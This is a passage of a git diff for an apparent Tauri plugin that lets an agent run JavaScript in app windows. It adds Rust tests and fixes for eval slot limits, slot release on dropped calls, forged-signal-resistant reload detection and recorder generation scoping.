@@ mod command_policy_dispatch_tests { drop(held); } + #[tokio::test] + async fn one_window_cannot_starve_another_windows_page_evals() { + let state = state_with(PrivacyConfig::default()); + let mut held = Vec::new(); + let mut refused = None; + // Window "a" (whose label is a prefix of "a:b") fills its own budget and no more. + for _ in 0..=crate::tools::MAX_PAGE_PENDING_EVALS_PER_WINDOW { + let (tx, rx) = tokio::sync::oneshot::channel(); + match crate::tools::reserve_page_eval(&state, "a", tx).await { + Ok(slot) => held.push((slot, rx)), + Err(e) => refused = Some(e), + } + } + assert_eq!(held.len(), crate::tools::MAX_PAGE_PENDING_EVALS_PER_WINDOW); + assert!(refused.unwrap().contains("window 'a'")); + let (tx, _rx) = tokio::sync::oneshot::channel(); + let other = crate::tools::reserve_page_eval(&state, "a:b", tx).await; + assert!( + other.is_ok(), + "window 'a:b' was starved by window 'a': {:?}", + other.as_ref().err() + ); + // Dropping the slots releases them. + drop(held); + drop(other); + assert!(state.pending_evals.lock().await.is_empty()); + } + #[tokio::test] async fn a_busy_ui_is_not_mistaken_for_a_closed_window() { // Red-team finding: a main-thread listing that times out returned `[]`, which the @@ -7008,12 +7155,13 @@ mod command_policy_dispatch_tests { #[tokio::test] async fn eval_fails_fast_when_its_page_reloads() { let state = eval_state_with_timeout(20_000); - let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); - let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let inner = RecordingBridge::in_page(state.pending_evals.clone(), "page-1"); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(MainWindowBridge(inner.clone()))); let reloader = state.clone(); tokio::spawn(async move { tokio::time::sleep(std::time::Duration::from_millis(600)).await; - reloader.page_loads.record_load("main"); // the page reloaded + inner.load_page("page-2"); // the page reloaded + ready_signal(&reloader, "main", "page-2"); }); let started = std::time::Instant::now(); let r = call( @@ -7038,14 +7186,14 @@ mod command_policy_dispatch_tests { #[tokio::test] async fn a_late_ready_signal_from_the_same_page_is_not_a_reload() { // The bridge's ready signal is fire-and-forget at init and can land just after our - // probe; it belongs to the page the eval runs in and must not be read as a reload. + // probe; it carries the nonce of the page the eval runs in and is not a reload. let state = eval_state_with_timeout(1_500); - let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); - let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let inner = RecordingBridge::in_page(state.pending_evals.clone(), "page-1"); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(MainWindowBridge(inner))); let late = state.clone(); tokio::spawn(async move { tokio::time::sleep(std::time::Duration::from_millis(20)).await; - late.page_loads.record_load("main"); + ready_signal(&late, "main", "page-1"); }); let r = call( &h, @@ -7111,6 +7259,254 @@ mod command_policy_dispatch_tests { ); } + /// The bridge's ready signal for window `label`, from a page whose nonce is `nonce`. + fn ready_signal(state: &VictauriState, label: &str, nonce: &str) { + state.page_loads.record_load(label, Some(nonce)); + } + + async fn hanging_eval(h: &VictauriMcpHandler) -> (String, std::time::Duration) { + let started = std::time::Instant::now(); + let r = call( + h, + "eval_js", + json!({"code": "await new Promise(() => {})", "webview_label": "main"}), + ) + .await; + (result_text(&r), started.elapsed()) + } + + #[tokio::test] + async fn a_reload_right_after_injection_is_detected() { + // A reload that completes within a few ms of the injection (eval_js("location.reload()"), + // navigate, a fast HMR) was hidden by a 250ms grace and waited out the full timeout. + let state = eval_state_with_timeout(20_000); + let inner = RecordingBridge::in_page(state.pending_evals.clone(), "page-1"); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(MainWindowBridge(inner.clone()))); + let reloader = state.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_millis(20)).await; + inner.load_page("page-2"); + ready_signal(&reloader, "main", "page-2"); + }); + let (text, took) = hanging_eval(&h).await; + assert!(text.contains("loaded a new page"), "{text}"); + assert!(took < std::time::Duration::from_secs(3), "took {took:?}"); + } + + #[tokio::test] + async fn a_same_page_ready_signal_arriving_late_is_not_a_reload() { + // Under load the page's own ready signal can land seconds after the probe; it carries the + // nonce the eval was armed in, so the eval keeps waiting for its real result. + let state = eval_state_with_timeout(3_000); + let inner = RecordingBridge::in_page(state.pending_evals.clone(), "page-1"); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(MainWindowBridge(inner))); + let late = state.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_millis(2_000)).await; + ready_signal(&late, "main", "page-1"); + }); + let (text, _) = hanging_eval(&h).await; + assert!(!text.contains("loaded a new page"), "false reload: {text}"); + assert!(text.contains("timed out"), "{text}"); + } + + #[tokio::test] + async fn a_forged_ready_signal_does_not_abort_an_eval() { + // Page script can call victauri_eval_callback('__victauri_bridge_ready__') itself. The + // page did not change (the probe still reports the armed nonce), so it is not a reload. + let state = eval_state_with_timeout(2_500); + let inner = RecordingBridge::in_page(state.pending_evals.clone(), "page-1"); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(MainWindowBridge(inner))); + let forger = state.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_millis(600)).await; + ready_signal(&forger, "main", "forged"); + }); + let (text, _) = hanging_eval(&h).await; + assert!(!text.contains("loaded a new page"), "forged reload: {text}"); + assert!(text.contains("timed out"), "{text}"); + } + + #[tokio::test] + async fn an_eval_started_after_app_exit_fails_fast() { + // `subscribe()` marks the current value seen: an eval started after the exit signal + // waited its whole timeout for a change that had already happened. + let state = slow_eval_state(); + state.shutdown_tx.send_replace(true); + let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let (text, took) = + tokio::time::timeout(std::time::Duration::from_secs(10), hanging_eval(&h)) + .await + .expect("an eval after app exit must not wait out its 20s timeout"); + assert!(text.contains("shutting down"), "{text}"); + assert!(took < std::time::Duration::from_secs(3), "took {took:?}"); + } + + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn a_dropped_eval_call_releases_its_pending_slot() { + // REST runs the tool inside the axum future: a client that disconnects or times out + // drops it mid-wait. The pending entry used to leak; 100 of them wedged every eval. + let state = eval_state_with_timeout(20_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + for _ in 0..3 { + let dropped = tokio::time::timeout( + std::time::Duration::from_millis(300), + h.execute_tool("eval_js", json!({"code": "await new Promise(() => {})"})), + ) + .await; + assert!( + dropped.is_err(), + "the call must still be in flight when dropped" + ); + } + // The recording drain reserves slots too (its page never answers here). + let bridge: Arc = Arc::new(RecordingBridge::default()); + let dropped = tokio::time::timeout( + std::time::Duration::from_millis(300), + drain_window_into_recording(&state, &bridge, "main"), + ) + .await; + assert!( + dropped.is_err(), + "the drain must still be in flight when dropped" + ); + // Removal on drop may be deferred to a task when the map is momentarily locked. + tokio::time::sleep(std::time::Duration::from_millis(100)).await; + assert!( + state.pending_evals.lock().await.is_empty(), + "a dropped call leaked its pending-eval slot" + ); + } + + /// Answers the liveness probe, but every other script fails to inject. + struct InjectFailsBridge(RecordingBridge); + + impl WebviewBridge for InjectFailsBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + self.0.eval_webview(label, script)?; + if script.contains("probe_ok") { + Ok(()) + } else { + Err("window not found: main".to_string()) + } + } + fn get_window_states(&self, label: Option<&str>) -> Vec { + self.0.get_window_states(label) + } + fn list_window_labels(&self) -> Vec { + vec!["main".to_string()] + } + fn get_native_handle(&self, label: Option<&str>) -> Result { + self.0.get_native_handle(label) + } + fn manage_window(&self, label: Option<&str>, action: &str) -> Result { + self.0.manage_window(label, action) + } + fn resize_window(&self, label: Option<&str>, w: u32, h: u32) -> Result<(), String> { + self.0.resize_window(label, w, h) + } + fn move_window(&self, label: Option<&str>, x: i32, y: i32) -> Result<(), String> { + self.0.move_window(label, x, y) + } + fn set_window_title(&self, label: Option<&str>, title: &str) -> Result<(), String> { + self.0.set_window_title(label, title) + } + } + + #[tokio::test] + async fn invoke_command_records_no_timing_for_calls_that_never_ran() { + // Only a call that reached the command is a command duration: a saturated pending map + // (~0ms), a dead bridge (~2s probe) or a failed injection measure nothing about it. + let state = eval_state_with_timeout(1_000); + let fillers: Vec<_> = (0..MAX_PENDING_EVALS) + .map(|_| tokio::sync::oneshot::channel::()) + .collect(); + { + let mut p = state.pending_evals.lock().await; + for (i, (tx, _)) in fillers.into_iter().enumerate() { + p.insert(format!("filler-{i}"), tx); + } + } + let answering = RecordingBridge::answering(state.pending_evals.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(answering.clone())); + let r = call(&h, "invoke_command", json!({"command": "saturated"})).await; + assert!( + result_text(&r).contains("too many concurrent"), + "{}", + result_text(&r) + ); + state.pending_evals.lock().await.clear(); + + let dead = VictauriMcpHandler::new(state.clone(), Arc::new(RecordingBridge::default())); + let r = call(&dead, "invoke_command", json!({"command": "dead_bridge"})).await; + assert!( + result_text(&r).contains("bridge not responding"), + "{}", + result_text(&r) + ); + + let failing = VictauriMcpHandler::new( + state.clone(), + Arc::new(InjectFailsBridge(RecordingBridge::answering( + state.pending_evals.clone(), + ))), + ); + let r = call( + &failing, + "invoke_command", + json!({"command": "not_injected"}), + ) + .await; + assert!( + result_text(&r).contains("injection failed"), + "{}", + result_text(&r) + ); + + for cmd in ["saturated", "dead_bridge", "not_injected"] { + assert!( + state.command_timings.stats_for(cmd).is_none(), + "'{cmd}' never ran but was recorded as a command timing" + ); + } + + // Code that did not parse never ran either. + answering.answer_evals_with(r#"{"__victauri_not_run":"did not begin executing"}"#); + let r = call(&h, "invoke_command", json!({"command": "never_parsed"})).await; + assert!( + result_text(&r).contains("parse error"), + "{}", + result_text(&r) + ); + assert!(state.command_timings.stats_for("never_parsed").is_none()); + + // Positive control: a call that ran (and threw) IS a timing. + answering.answer_evals_with(r#"{"__victauri_err":"boom"}"#); + let r = call(&h, "invoke_command", json!({"command": "ran_and_threw"})).await; + assert!(result_text(&r).contains("boom"), "{}", result_text(&r)); + assert!(state.command_timings.stats_for("ran_and_threw").is_some()); + } + + #[tokio::test] + async fn an_unserializable_result_is_reported_as_code_that_ran() { + // A circular object / BigInt result used to read "JavaScript error: …" although the code + // ran — an agent then re-ran side-effecting code to "fix" it. + let state = eval_state_with_timeout(2_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + bridge.answer_evals_with( + r#"{"__victauri_unserializable":"Do not know how to serialize a BigInt"}"#, + ); + let h = VictauriMcpHandler::new(state, Arc::new(bridge)); + let r = call(&h, "eval_js", json!({"code": "return 1n"})).await; + let text = result_text(&r); + assert_eq!(r.is_error, Some(true), "{text}"); + assert!(text.contains("the code ran"), "{text}"); + assert!(text.contains("BigInt"), "{text}"); + assert!(!text.contains("JavaScript error"), "{text}"); + } + #[tokio::test] async fn trace_stop_never_stops_a_recording_it_did_not_start() { let state = state_with(PrivacyConfig::default()); @@ -7246,19 +7642,19 @@ mod command_policy_dispatch_tests { let h = h.clone(); tasks.push(tokio::spawn(async move { let (tx, _rx) = tokio::sync::oneshot::channel(); - // keep rx alive until the reservation has been decided - let ok = h.reserve_pending(&format!("c-{i}"), tx).await.is_ok(); - (ok, _rx) + // keep rx and the slot alive until the reservation has been decided + let slot = h.reserve_pending(&format!("c-{i}"), tx).await.ok(); + (slot, _rx) })); } let mut granted = 0; let mut keep = Vec::new(); for t in tasks { - let (ok, rx) = t.await.unwrap(); - if ok { + let (slot, rx) = t.await.unwrap(); + if slot.is_some() { granted += 1; } - keep.push(rx); // hold receivers so reserved entries are not dropped/removed + keep.push((slot, rx)); // hold slots so reserved entries are not released } let len = state.pending_evals.lock().await.len(); assert!( diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 33b7a98c..bb25ca0f 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -1165,13 +1165,14 @@ async fn drain_window( let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); - { + // Released however this ends — including the drain future being dropped mid-wait. + let _slot = { let mut pending = state.pending_evals.lock().await; if pending.len() >= MAX_PENDING_EVALS { return None; } - pending.insert(id.clone(), tx); - } + crate::PendingSlot::insert(&state.pending_evals, &mut pending, id.clone(), tx) + }; let id_js = super::helpers::js_string(&id); let inject = format!( @@ -1194,12 +1195,10 @@ async fn drain_window( ); if bridge.eval_webview(Some(label), &inject).is_err() { - state.pending_evals.lock().await.remove(&id); return None; } let Ok(Ok(result)) = tokio::time::timeout(std::time::Duration::from_secs(5), rx).await else { - state.pending_evals.lock().await.remove(&id); return None; }; diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 34d195bb..34edc89f 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -4,25 +4,47 @@ use victauri_core::{IpcCall, WindowState}; use crate::VictauriState; -/// Id prefix for evals started by page JS through these Tauri commands (vs. by an agent). +/// Id prefix for evals started by page JS through these Tauri commands (vs. by an agent). The +/// full id is `page::` (the uuid is fixed-length, so any label parses back). pub const PAGE_EVAL_PREFIX: &str = "page:"; -/// Pending-eval slots page-originated evals may hold at once. They share the pending map with -/// the agent's (MCP) evals; without their own small budget, page script could park -/// never-resolving evals in every slot and starve the agent with "too many concurrent evals". -pub const MAX_PAGE_PENDING_EVALS: usize = 10; +/// Pending-eval slots page-originated evals may hold at once, across all windows. They share +/// the pending map with the agent's (MCP) evals; without their own small budget, page script +/// could park never-resolving evals in every slot and starve the agent with "too many +/// concurrent evals". +pub const MAX_PAGE_PENDING_EVALS: usize = 25; +/// Page-originated eval slots ONE window may hold, so one window cannot starve the others. +pub const MAX_PAGE_PENDING_EVALS_PER_WINDOW: usize = 10; -/// Reserve a pending-eval slot for a page-originated eval, within both the page budget and the -/// global ceiling. +/// The window a page-originated eval id belongs to. +fn page_eval_window(id: &str) -> Option<&str> { + let rest = id.strip_prefix(PAGE_EVAL_PREFIX)?; + rest.get(36..)?.strip_prefix(':') +} + +/// Reserve a pending-eval slot for a page-originated eval from window `label`, within the +/// per-window budget, the page budget and the global ceiling. The slot is released when the +/// returned guard drops. pub async fn reserve_page_eval( state: &VictauriState, - id: &str, + label: &str, tx: tokio::sync::oneshot::Sender, -) -> Result<(), String> { +) -> Result { + let id = format!("{PAGE_EVAL_PREFIX}{}:{label}", uuid::Uuid::new_v4()); let mut pending = state.pending_evals.lock().await; - let page_pending = pending - .keys() - .filter(|k| k.starts_with(PAGE_EVAL_PREFIX)) - .count(); + let mut page_pending = 0; + let mut window_pending = 0; + for key in pending.keys().filter(|k| k.starts_with(PAGE_EVAL_PREFIX)) { + page_pending += 1; + if page_eval_window(key) == Some(label) { + window_pending += 1; + } + } + if window_pending >= MAX_PAGE_PENDING_EVALS_PER_WINDOW { + return Err(format!( + "too many concurrent page-originated evals from window '{label}' \ + (limit {MAX_PAGE_PENDING_EVALS_PER_WINDOW})" + )); + } if page_pending >= MAX_PAGE_PENDING_EVALS { return Err(format!( "too many concurrent page-originated evals (limit {MAX_PAGE_PENDING_EVALS})" @@ -34,8 +56,12 @@ pub async fn reserve_page_eval( crate::mcp::MAX_PENDING_EVALS )); } - pending.insert(id.to_string(), tx); - Ok(()) + Ok(crate::PendingSlot::insert( + &state.pending_evals, + &mut pending, + id, + tx, + )) } #[tauri::command] @@ -44,10 +70,10 @@ pub async fn victauri_eval_js( state: State<'_, Arc>, code: String, ) -> Result { - let id = format!("{PAGE_EVAL_PREFIX}{}", uuid::Uuid::new_v4()); let (tx, rx) = tokio::sync::oneshot::channel(); - - reserve_page_eval(&state, &id, tx).await?; + // Released on every exit, including this future being dropped mid-wait. + let slot = reserve_page_eval(&state, webview.label(), tx).await?; + let id = serde_json::to_string(slot.id()).map_err(|e| e.to_string())?; let inject = format!( r" @@ -56,12 +82,12 @@ pub async fn victauri_eval_js( const __result = await (async () => {{ {code} }})(); await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: '{id}', + id: {id}, result: JSON.stringify(__result) }}); }} catch (e) {{ await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: '{id}', + id: {id}, result: JSON.stringify({{ __error: e.message }}) }}); }} @@ -76,20 +102,16 @@ pub async fn victauri_eval_js( Some(webview.label()), &inject, ) { - state.pending_evals.lock().await.remove(&id); return Err(format!("eval failed: {e}")); } match tokio::time::timeout(state.eval_timeout, rx).await { Ok(Ok(result)) => Ok(result), Ok(Err(_)) => Err("eval callback channel closed".to_string()), - Err(_) => { - state.pending_evals.lock().await.remove(&id); - Err(format!( - "eval timed out after {}s", - state.eval_timeout.as_secs() - )) - } + Err(_) => Err(format!( + "eval timed out after {}s", + state.eval_timeout.as_secs() + )), } } @@ -106,9 +128,12 @@ pub async fn victauri_eval_callback( .store(true, std::sync::atomic::Ordering::Release); state.bridge_notify.notify_waiters(); // A (re)initialized bridge means this window loaded a new page: any eval still pending - // in its previous page can never answer. The label comes from Tauri (the calling - // webview), so page script cannot touch another window's generation. - state.page_loads.record_load(webview.label()); + // in its previous page can never answer. The signal carries the new page's nonce; the + // label comes from Tauri (the calling webview), so page script cannot touch another + // window's record. (A forged signal from the same page is weeded out by the eval, + // which asks the page for its current nonce before treating a signal as a reload.) + let nonce = (!result.is_empty()).then_some(result.as_str()); + state.page_loads.record_load(webview.label(), nonce); return Ok(()); } if let Some(tx) = state.pending_evals.lock().await.remove(&id) { @@ -122,10 +147,10 @@ pub async fn victauri_dom_snapshot( webview: tauri::WebviewWindow, state: State<'_, Arc>, ) -> Result { - let id = format!("{PAGE_EVAL_PREFIX}{}", uuid::Uuid::new_v4()); let (tx, rx) = tokio::sync::oneshot::channel(); - - reserve_page_eval(&state, &id, tx).await?; + // Released on every exit, including this future being dropped mid-wait. + let slot = reserve_page_eval(&state, webview.label(), tx).await?; + let id = serde_json::to_string(slot.id()).map_err(|e| e.to_string())?; let inject = format!( r" @@ -133,12 +158,12 @@ pub async fn victauri_dom_snapshot( try {{ const snapshot = window.__VICTAURI__?.snapshot(); await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: '{id}', + id: {id}, result: JSON.stringify(snapshot) }}); }} catch (e) {{ await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: '{id}', + id: {id}, result: JSON.stringify({{ __error: e.message }}) }}); }} @@ -153,20 +178,16 @@ pub async fn victauri_dom_snapshot( Some(webview.label()), &inject, ) { - state.pending_evals.lock().await.remove(&id); return Err(format!("snapshot eval failed: {e}")); } match tokio::time::timeout(state.eval_timeout, rx).await { Ok(Ok(result)) => Ok(result), Ok(Err(_)) => Err("snapshot callback channel closed".to_string()), - Err(_) => { - state.pending_evals.lock().await.remove(&id); - Err(format!( - "snapshot timed out after {}s", - state.eval_timeout.as_secs() - )) - } + Err(_) => Err(format!( + "snapshot timed out after {}s", + state.eval_timeout.as_secs() + )), } } diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index d71a3901..4b465400 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -4987,6 +4987,258 @@ fn ipc_encoded_command_names() { ); } +// ── Eval lifecycle: the real probe / wrapper / parse-check scripts ──────────── + +/// JS helpers for driving the eval scripts: a Tauri `invoke` stub that records callbacks, +/// `run(script)` (global eval; returns the thrown error's name), and the scripts themselves +/// as `S.` (check scripts are built for the placeholder nonce `__NONCE__`). +fn eval_lifecycle_prelude(scripts: &[(&str, String)]) -> String { + let mut js = String::from( + r#" + var calls = []; + window.__TAURI_INTERNALS__ = { invoke: function(cmd, a) { calls.push(a); return Promise.resolve(null); } }; + function cb(id) { return calls.filter(function(c) { return c.id === id; }).map(function(c) { return c.result; }); } + function run(s) { try { (0, eval)(s); return null; } catch (e) { return e.name; } } + function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); } + var N = window.__VICTAURI__._pageNonce; + function inPage(s, nonce) { return s.replace('"__NONCE__"', JSON.stringify(nonce === undefined ? N : nonce)); } + var S = {}; + "#, + ); + for (name, script) in scripts { + js.push_str(&format!( + "S[{}] = {};\n", + serde_json::to_string(name).unwrap(), + serde_json::to_string(script).unwrap() + )); + } + js +} + +#[test] +#[allow(clippy::too_many_lines)] +fn eval_lifecycle_has_no_timer_race_and_settles_once() { + use victauri_plugin::js_bridge::{ + eval_check_script, eval_probe_script, eval_wrapper_script, probe_answer_nonce, + }; + let order = "window.__orders = (window.__orders || 0) + 1; return 'order placed'"; + let prelude = eval_lifecycle_prelude(&[ + ("wrap_a", eval_wrapper_script("id-a", order)), + ("check_a", eval_check_script("id-a", Some("__NONCE__"))), + ("wrap_b", eval_wrapper_script("id-b", "return 1 +")), + ("check_b", eval_check_script("id-b", Some("__NONCE__"))), + ("wrap_c", eval_wrapper_script("id-c", order)), + ("check_c", eval_check_script("id-c", Some("__NONCE__"))), + ("wrap_d", eval_wrapper_script("id-d", "return 1 +")), + ("check_d", eval_check_script("id-d", Some("__NONCE__"))), + ( + "wrap_e", + eval_wrapper_script( + "id-e", + "await new Promise(r => setTimeout(r, 50)); return 7", + ), + ), + ("check_e", eval_check_script("id-e", Some("__NONCE__"))), + ("probe", eval_probe_script("id-p")), + ]); + let with = |code: &str| format!("{prelude}\n{code}"); + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![ + case( + "a parse check delivered late never reports code that ran", + &with( + r" + run(S.wrap_a); + await sleep(900); // the check's main-thread round trip was delayed + run(inPage(S.check_a)); + await sleep(20); + return { cbs: cb('id-a'), orders: window.__orders }; + ", + ), + ), + case( + "a syntax error is reported once and a late settle is dropped", + &with( + r" + var parse = run(S.wrap_b); + run(inPage(S.check_b)); + window.__VICTAURI__._evalSettle('id-b', { __victauri_ok: 1, __victauri_type: 'value' }); + await sleep(20); + return { parse: parse, cbs: cb('id-b') }; + ", + ), + ), + case( + "code delivered after its check was reported never runs", + &with( + r" + run(inPage(S.check_c)); + run(S.wrap_c); + await sleep(20); + return { cbs: cb('id-c'), orders: window.__orders || 0 }; + ", + ), + ), + case( + "a check landing in another page stays silent", + &with( + r" + run(S.wrap_d); + run(inPage(S.check_d, 'another-page')); + await sleep(20); + return { cbs: cb('id-d') }; + ", + ), + ), + case( + "a slow eval is not reported by its check and settles once", + &with( + r" + run(S.wrap_e); + run(inPage(S.check_e)); + var early = cb('id-e').length; + await sleep(120); + return { early: early, cbs: cb('id-e') }; + ", + ), + ), + case( + "the probe reports this page's immutable nonce", + &with( + r" + try { window.__VICTAURI__._pageNonce = 'forged'; } catch (e) {} + run(S.probe); + await sleep(20); + return { answer: cb('id-p')[0], nonce: N, still: window.__VICTAURI__._pageNonce }; + ", + ), + ), + ], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = |i: usize| results[i].result.clone().unwrap(); + + let a = r(0); + assert_eq!( + a["cbs"], + serde_json::json!([r#"{"__victauri_ok":"order placed","__victauri_type":"value"}"#]), + "exactly the real result, no parse error: {a}" + ); + assert_eq!(a["orders"], 1); + + let b = r(1); + assert_eq!(b["parse"], "SyntaxError"); + let cbs = b["cbs"].as_array().unwrap(); + assert_eq!(cbs.len(), 1, "one outcome only: {b}"); + assert!( + cbs[0].as_str().unwrap().contains("__victauri_not_run"), + "{b}" + ); + + let c = r(2); + assert_eq!( + c["orders"], 0, + "code reported as never begun must not run: {c}" + ); + assert_eq!(c["cbs"].as_array().unwrap().len(), 1, "{c}"); + + assert_eq!(r(3)["cbs"], serde_json::json!([])); + + let e = r(4); + assert_eq!(e["early"], 0); + assert_eq!( + e["cbs"], + serde_json::json!([r#"{"__victauri_ok":7,"__victauri_type":"value"}"#]) + ); + + let p = r(5); + let nonce = p["nonce"].as_str().unwrap(); + assert!(!nonce.is_empty()); + assert_eq!(p["still"], nonce, "page script cannot replace the nonce"); + assert_eq!( + probe_answer_nonce(p["answer"].as_str().unwrap()).as_deref(), + Some(nonce) + ); + assert_eq!(probe_answer_nonce(r#""probe_ok""#), None); +} + +#[test] +fn eval_results_json_cannot_carry_are_reported_as_code_that_ran() { + use victauri_plugin::js_bridge::eval_wrapper_script; + let prelude = eval_lifecycle_prelude(&[ + ( + "circular", + eval_wrapper_script("id-1", "window.__ran = 1; var o = {}; o.self = o; return o"), + ), + ("bigint", eval_wrapper_script("id-2", "return 10n")), + ( + "func", + eval_wrapper_script("id-3", "return function f() {}"), + ), + ( + "plain", + eval_wrapper_script("id-4", "return { a: [1, 'x'] }"), + ), + ]); + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![case( + "unserializable results", + &format!( + "{prelude} + run(S.circular); run(S.bigint); run(S.func); run(S.plain); + await sleep(20); + return {{ c: cb('id-1'), b: cb('id-2'), f: cb('id-3'), p: cb('id-4'), ran: window.__ran }}; + " + ), + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let v = results[0].result.clone().unwrap(); + let body = |k: &str| -> serde_json::Value { + let arr = v[k].as_array().unwrap(); + assert_eq!(arr.len(), 1, "{k}: {v}"); + serde_json::from_str(arr[0].as_str().unwrap()).unwrap() + }; + assert_eq!(v["ran"], 1); + let c = body("c"); + assert!( + c["__victauri_unserializable"] + .as_str() + .unwrap() + .contains("circular"), + "{c}" + ); + assert!(c.get("__victauri_err").is_none(), "{c}"); + assert!( + body("b")["__victauri_unserializable"] + .as_str() + .unwrap() + .contains("BigInt") + ); + assert!( + body("f")["__victauri_unserializable"] + .as_str() + .unwrap() + .contains("function") + ); + assert_eq!( + body("p"), + serde_json::json!({"__victauri_ok": {"a": [1, "x"]}, "__victauri_type": "value"}) + ); +} + // ── Hardening regressions (bounded capture, never-throw hooks, ref reuse) ──── fn case(name: &str, code: &str) -> TestCase { From 07319d39c7227260dabe135e1c4782acb13330d5 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:54:03 +1000 Subject: [PATCH 023/167] fix(recorder): generation-scoped, atomic stop/import; IpcCall carries a mocked flag - EventRecorder hands out a fresh generation per start/import (start_session, generation, record_event_if, stop_if_generation). A reader that captured the generation before a slow read can no longer append into a later recording, and an owner can no longer stop a later recording that reuses its session id. - stop_if_session checks the id and stops under ONE lock (a stop+start in between made it stop someone else's recording: 20/200k in the regression test). - import_if_idle: the is-recording check and the replace happen under one lock. - IpcCall gains `mocked` (serde default, omitted when false) + with_mocked(): a call a route rule answered in the page never reached the backend. Audit C6 (core half), C15a, C15b, V-3 (type half). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-core/src/codegen.rs | 5 + crates/victauri-core/src/event.rs | 13 ++ crates/victauri-core/src/recording.rs | 217 +++++++++++++++++++++++--- 3 files changed, 215 insertions(+), 20 deletions(-) diff --git a/crates/victauri-core/src/codegen.rs b/crates/victauri-core/src/codegen.rs index 0f826b59..be360185 100644 --- a/crates/victauri-core/src/codegen.rs +++ b/crates/victauri-core/src/codegen.rs @@ -592,6 +592,7 @@ mod tests { result: IpcResult::Ok(serde_json::json!(true)), arg_size_bytes: 0, webview_label: "main".to_string(), + mocked: false, }), }]); let code = generate_test_default(&session); @@ -612,6 +613,7 @@ mod tests { result: IpcResult::Ok(serde_json::json!({})), arg_size_bytes: 0, webview_label: "main".to_string(), + mocked: false, }), }]); let code = generate_test_default(&session); @@ -632,6 +634,7 @@ mod tests { result: IpcResult::Ok(serde_json::json!(true)), arg_size_bytes: 0, webview_label: "main".to_string(), + mocked: false, }), }]); let opts = CodegenOptions { @@ -1033,6 +1036,7 @@ mod tests { result: IpcResult::Ok(serde_json::json!({"saved": true})), arg_size_bytes: 42, webview_label: "main".to_string(), + mocked: false, }), }, // 4: StateChange caused by save_draft @@ -1225,6 +1229,7 @@ mod tests { result: IpcResult::Ok(serde_json::json!(true)), arg_size_bytes: 0, webview_label: "main".to_string(), + mocked: false, }), }]); let opts = CodegenOptions { diff --git a/crates/victauri-core/src/event.rs b/crates/victauri-core/src/event.rs index 6dfd3f6e..30fe8692 100644 --- a/crates/victauri-core/src/event.rs +++ b/crates/victauri-core/src/event.rs @@ -25,6 +25,11 @@ pub struct IpcCall { pub arg_size_bytes: usize, /// Label of the webview that initiated the call. pub webview_label: String, + /// The call never reached the backend: a `route` rule fulfilled or blocked it in the + /// webview. `recording replay` skips such calls — replaying a mocked call would turn a + /// fake success into a real invocation. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub mocked: bool, } /// Outcome of an IPC call: pending, success with a JSON value, or error. @@ -80,8 +85,16 @@ impl IpcCall { result, arg_size_bytes, webview_label: webview_label.into(), + mocked: false, } } + + /// Mark the call as answered by a route rule instead of the backend. + #[must_use] + pub fn with_mocked(mut self, mocked: bool) -> Self { + self.mocked = mocked; + self + } } impl fmt::Display for IpcResult { diff --git a/crates/victauri-core/src/recording.rs b/crates/victauri-core/src/recording.rs index 5b39538f..87e727c2 100644 --- a/crates/victauri-core/src/recording.rs +++ b/crates/victauri-core/src/recording.rs @@ -4,6 +4,7 @@ use chrono::{DateTime, Utc}; use serde::{Deserialize, Serialize}; use std::collections::VecDeque; +use std::sync::atomic::{AtomicU64, Ordering}; use std::sync::{Arc, Mutex}; use crate::error::VictauriError; @@ -103,11 +104,16 @@ pub struct EventRecorder { recording: Arc>>, last_session: Arc>>, max_events: usize, + /// Source of recording generations: every `start`/`import` takes a fresh one, so a + /// caller holding an old generation can never touch a later recording — even one that + /// reuses the 